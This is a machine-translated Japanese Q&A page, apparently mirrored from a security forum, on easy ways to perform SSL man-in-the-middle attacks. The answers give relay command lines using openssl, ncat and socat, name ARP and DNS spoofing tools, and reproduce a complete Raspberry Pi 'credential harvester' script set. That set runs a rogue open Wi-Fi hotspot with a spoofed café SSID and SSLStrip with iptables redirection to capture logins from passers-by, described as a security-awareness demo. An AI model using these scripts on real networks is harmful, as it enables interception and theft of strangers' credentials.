web-dev-qa-db-ja.com

SSLに対して中間者攻撃を実行する簡単な方法は何ですか?

クライアントとサーバーの間のSSL接続に対して中間者攻撃を実行したいのですが。

次のように仮定します。

  • 不十分な証明書の検証またはその他の手段により、クライアントが受け入れる証明書を持っています。
  • なりすまそうとしているサーバーのIPアドレスを知っており、ARPスプーフィングなどを行うネットワーク上の立場にいます。
  • 基になるプロトコルは、HTTPからカスタム/独自のものまで、何でもかまいません。

ポートをリッスンし、証明書を提供してSSLを開始するコードを記述してから、透過的なプロキシとして転送し、ARPスプーフィングを行ってトラフィックを私にリダイレクトすることができますが、これは多くの労力を要し、作業中に面倒になります時間の制約が厳しいテストで。

中間者攻撃を実行するための迅速で簡単な方法は何ですか?多くの設定をせずに、これを簡単に行うために設計されたツールはありますか?積極的に維持されているものはプラスです。

48
Polynomial

更新:

  • HTTPの場合、 Burp Suiteのプロキシ (Java)、または mitmproxy を使用できます。

  • tcpcatcher は、より一般的なJavaベースのGUIキャプチャおよび変更プロキシであり、要件に近い可能性があり、コンテンツのデコードおよび変更(手動およびプログラムによる)を含みます)。 HTTPバイアスですが、任意のTCPを受け入れます。 SSLサポートがありますが、唯一の欠点は、独自の固有の証明書をオンザフライでのみ使用する(文書化された)方法がないことです。以下のオプションの1つを使用して簡単に回避できます。

  • ettercap は、ARP、ICMP(リダイレクト)、DNSおよびDHCPの「介入」の機能を含み、直接SSL MITMをサポートします(現在、GUIを介してではありませんが、 confおよび/またはコマンドラインをいじくる必要があります)。これはほとんどの目的で最高のオールインワンのようです。
  • sslsplit は別の便利なCLIツールです。変更ではなく、(主に)インターセプトとログ用です。 ettercapよりも早く開始でき、SNIインスペクション、動的証明書生成、* BSDおよびLinux FW/NATのサポート、および [〜#〜] ocsp [〜#〜] /-などの機能を備えています [〜#〜] hpkp [〜#〜] / [〜#〜] spdy [〜#〜] HTTPSの対策。ただし、トラフィックからまでを取得する必要があります。

迅速でローテクでプロトコルにとらわれないようにしたい場合は、UnixボックスでOpenSSLを使用するだけでmostの方法を得ることができます。

mkfifo request response
openssl s_server -quiet -no_ssl2 -cipher AES128-SHA \
  -accept 443 -cert fake.crt -key fake.key  < response | tee -a request
openssl s_client -quiet -connect www.server.com:443 < request  | tee -a response

-quiet-ign_eofも有効にします。これにより、行頭での文字の特別な処理が抑制されます(ラインバッファリング入力の場合)。 s_clientは、基本的なSTARTTLS機能もサポートしています:SMTP、POP3、IMAP、FTP(認証)、XMPP、およびTELNET(OpenSSL-1.1から)。

opensslを別の端末で開始します。 teeを、要求を変更し、必要に応じて応答するようにスクリプト化されたものに置き換えます。最も堅牢ではありませんが、役に立つかもしれません。 DTLSをサポートします。必要な場合、IPv6のサポートにはOpenSSL-1.1が必要です。 ( GnuTLS はIPv6をサポートしており、v3.0もDTLSをサポートしているので、gnutls-servgnutls-cliを使用してほぼ同様のことができるため、まだ試していません。 。)

ncat-execオプションを併用しても機能するはずです。

ncat --ssl --ssl-cert fake.crt --ssl-key fake.key \
  --sh-exec "openssl s_client -quiet -connect www.server.com:443" \ 
  -kl 127.0.0.1 4443

"--exec"を使用して、代わりにスクリプトで独自のクライアントをラップすることができます。 s_clientを使用すると、セッションファイルを事前に作成し、-sess_in ssl.sess -sess_out ssl.sessを呼び出しに追加することで、パフォーマンスが大幅に向上します。

繰り返しになりますが、MITMを自分でスクリプト化/コード化する必要がある場合、 socat は別の優れた(そしておそらく最も堅牢な)オプションです。

CERT="cert=test.crt,key=test.key,verify=0"
SSL="cipher=AES128-SHA,method=TLSv1"
socat \ 
  OPENSSL-LISTEN:4443,bind=127.0.0.1,reuseaddr,$CERT,$SSL,fork  \
  EXEC:mitm.sh

openssl s_client -quiet -connect www.server.com:443mitm.shのようなワンライナーは、最初はinetdクライアントのように機能します。

stunnel はsocatよりプロキシに似ており、私にはないbig利点があります他の場所を参照してください:POP3、IMAP、SMTP、およびクライアントモードとサーバーモードの他のいくつかについて、プロトコル内TLSアップグレード/ [〜#〜] starttls [〜#〜] をサポートしています。 LDAPとFTPは注目に値する省略です(後者は当然です)。そのinetdモードは、上記の "exec"オプションと同じように(ab)使用できます。

これらのメソッドを使用するmodifying一般的なテキストベースの一般的なインターネットプロトコルの場合、sedを使用して回避できる場合があります(より接続しやすい netsed など)または軽いexpectスクリプト。

マルチプロトコルプロキシ Delegate は、外部(inetdのような)処理もサポートし、 統合スクリプト マッチング、フィルタリングをサポートしますサポートされているプロトコルのサブセットの書き換え。

一般的なプロトコルにとらわれないMITMプロキシに近いと私が考えることができる他の唯一のものは、 proxyfuzz のようなファジングツール、または backfuzz のようなマルチプロトコルモジュラーツールです(その検索には注意してください)最後の一つ ;-)。

(トラフィックを誤った方向に向けるための)他のおそらく有用なツールは次のとおりです。

  • dsniffarpspoofを含む
  • 別の arpspoof IPv6をサポートするこのバージョン
  • arpsend from vzctl
  • dnschef DNSプロキシ/サーバー(Python)

また、 Zorp への言及に何度か遭遇し、その間私のノートを調べていました。 非フリー コマーシャル(アフィリエーションはありません) およびGPLバージョン の両方で利用できます。言及に値するのは、(Pythonを介して)モジュール式で拡張可能なマルチプロトコルファイアウォール/ゲートウェイであるという主張のためです。 TLSインスペクションはGPLバージョンでサポートされています(SSHなどは非GPLバージョンに限定されているようです)。

42
mr.spuratic

これは 私のブログ からの投稿です。RaspberryPiを使用したMITM攻撃でSSLStripを使用しています。GoogleBloggerが気に入らなかったため、削除する必要があったため、このコンテンツはEvernoteから貼り付けています:)

セキュリティ意識向上デモの一環として、安全なWebサイトからSSLを取り除き、ログイン詳細を取得するように3g PiワイヤレスAPをセットアップしました。 MITM攻撃のコンテキストではこれに精通しているかもしれませんが、Piはゲートウェイであるため、ネットワークをARPポイズニングする必要はなく、全体が少し速く実行されます。私は誰かが無料のインターネットを提供するワイヤレスAPをセットアップするのがどれほど簡単かを示したいと思いました。機器は隠しているので(おそらくバックパックに入れて)、公共の場所に座って、誰も何も疑わずにログインの詳細を取得します*。将来的には、バッテリーバンクからPiを実行しながらこれを実行したいと考えています。

  • 攻撃が行われていることの大きな欠点は、ブラウザーのナビゲーションバーにURLの先頭に「https:」が表示されなくなったことです。

スクリプトの説明は次のとおりです。

メニュー

このスクリプトは、認証情報ハーベスタースクリプトを使用するためのシンプルなメニューです。 Jeroen Doggenのブログからコピーされ、それに合わせて編集されています。ハイライトされた部分は、スクリプトを含むディレクトリに変更する必要があります。

menu.sh

#!/bin/bash
#
# Script to perform some common system operations
#
while :
do
clear
echo "************************"
echo "* Credential Harvester *"
echo "************************"
echo "* [1] Change SSID *"
echo "* [2] Open AP *"
echo "* [3] Start SSLStrip *"
echo "* [4] Stop SSLStrip *"
echo "* [5] Secure AP *"
echo "* [6] View Credentials
echo "* [Q] Quit *"
echo "************************"
echo -n "Enter your menu choice: "

read yourch
case $yourch in
1) /home/pi/cred_harv/changeSsid.sh ;;
2) /home/pi/cred_harv/makeOpen.sh ;;
3) /home/pi/cred_harv/sslStrip.sh ;;
4) /home/pi/cred_harv/tidySslStrip.sh ;;
5) /home/pi/cred_harv/makeSecure.sh ;;
6) /home/pi/cred_harv/viewCreds.sh ;;
Q) exit 0;;
*) echo "Oopps!!! Please select choice 1,2,3 or 4";
echo "Press Enter to continue. . ." ; read ;;

esac

done

SSIDを変更する

Piクレデンシャルハーベスタが信頼できるように見えるようにするには、現在の環境に合わせて、SSID(利用可能なネットワークをスキャンするときに全員に表示される名前)を変更できる必要があります。マクドナルドに座っていますか? SSIDを「McDonalds Free Customer Wifi」またはそのようなものに変更します。

Piクレデンシャルハーベスタがヘッドレスであることを考えると、これを行う最も簡単な方法は、Wifi経由でSSHで接続し、簡単なスクリプトを実行することです。

スクリプトはSedコマンドを使用します。Sedのマニュアルページから:Sedはストリームエディタです。Aストリームエディターは、入力ストリーム(ファイルまたはパイプラインからの入力)に対して基本的なテキスト変換を実行するために使用されます。

したがって、Sedを使用してhostapd.confファイルのSSID名のエントリを置き換えることができるはずです。 manページでは、「-i」フラグがインライン変更に使用されると指定されています。そのため、ファイルの別のコピーを作成しないライブ変更です。 SSIDを置き換えるには、完全なコマンド構文は次のようになります。

sed -i 's/STRING_TO_FIND/STRING_TO_REPLACE_WITH/g' FILE

検索と置換文字列の最初と最後の「s」と「g」は、実行する検索と置換のタイプを定義しますこの例ではWifiです。 FILEは/etc/hostapd.confファイルで、次のコマンドを提供します。

sed -i 's/SSID=Pifi/McDonalds Free Customer Wifi/g' /etc/hostapd/hostapd.conf

変更を適用するには、hostapdサービスを再起動する必要があります。

Sudo service hostapd restart

私が思いついた最後のスクリプトは、現在のSSIDの名前を取得して表示し、ユーザーに目的のSSIDを入力するように求めます。これはhostapd.confのインライン編集を実行する「sed」に渡され、サービスを再起動して変更を適用します。

changeSsid.sh

#!/bin/bash
currentSSID=`cat /etc/hostapd/hostapd.conf | grep -P -o '(?<=ssid=)[ A-Za-z0-9]*'`
#the -o flag means print only matched
#grep rule: http://stackoverflow.com/questions/1247812/im-stuck-in-trying-to-grep-anything-just-after-name

echo Current SSID is $currentSSID
echo Desired SSID:
read x
echo 'Changing SSID'
Sudo sed -i "s/ssid=$currentSSID/ssid=$x/g" /etc/hostapd/hostapd.conf
echo 'Change OK'
echo 'Restarting hostapd service'
Sudo service hostapd restart

ネットワークをオープンにする

makeOpen.sh

このスクリプトは、「sed」を使用してhostapd.confの行をコメント化し、WPAセキュリティを有効にします。これにより、APが開かれ、誰でもそれを実行できます。変更を有効にするためにhostapdサービスが再起動されます。

#!/bin/bash
echo 'Disabling AP secutrity (AP is now open)'
Sudo sed -i 's/wpa=2/#wpa=2/g' /etc/hostapd/hostapd.conf
Sudo service hostapd restart

SSLStripを実行する

sslStrip.sh

このスクリプトはSSLStripを実行します。これは、安全なWebサイトからのSSL保護を「偽装」し、ログイン資格情報をプレーンテキストで読み取ることができるようにします。詳細については、SSLStrip Webサイトを参照してください。

#!/bin/bash
echo "Editing Iptables and starting sslstrip"
Sudo iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 10000
Sudo sslstrip -p -k -w /home/pi/cred_harv/ssl.log 2> /dev/null &

SSLStripを閉じる

このスクリプトは、ルーティングルールをiptablesから削除し、通常のブラウジングを再び可能にします。また、sslstripプロセスも強制終了します。

tidySslStrip.sh

#!/bin/bash
echo "Closing SSLStrip and cleaning up iptables"
Sudo iptables -t nat -D PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 10000

Sudo killall sslstrip

ネットワークを安全にする

このスクリプトは「sed」を使用してhostapd.confのwpa行を再度有効にし、APを再​​び安全にします。

makeSecure.sh

#!/bin/bash
echo 'Enabling AP security (AP is now secure)'
Sudo sed -i 's/#wpa=2/wpa=2/g' /etc/hostapd/hostapd.conf
Sudo service hostapd restart

これらを手動でスクリプトにコピーして貼り付ける場合は、次のコマンドを使用して実行可能にしてください。

Sudo chmod +x SCRIPT_NAME

資格情報の表示

このスクリプトはSSLStripログファイルを開くだけなので、ユーザー名とパスワードを検索できます。ファイルには多くのゴミがありますが、それらはそこにあります。

#!/bin/bash
Sudo nano /home/pi/cred_harv/ssl.log
11
BigCowPi

SSLStrip は、テストの設定やMITMのデモにおそらく役立つでしょう。そのa pythonツールを使用して、arpスプーフィングでMiTMを設定できます。リダイレクトをhttpからhttpsに変換できます。また、証明書とともに使用するように設定して、被害者がssl経由であなたに接続し、最初の目的地に接続します。MoxieMarlinspikeのページに、その使用方法のいくつかをデモするビデオがあります。

3
dudebrobro

Perl IO :: Socket :: SSL :: Intercept は、上記の役立​​つ提案に加えられた注目すべき追加機能です。

0
Liudvikas Bukys

PolarProxyは、HTTPやHTTP/2などの復号化されたTLSトラフィックでPCAPファイルを作成できます。 FTPS/IMAPS/SMTPSなどを復号化するように設定することもできます。

免責事項:PolarProxyは、Netresecで開発および保守されている無料のツールです。

0
netresec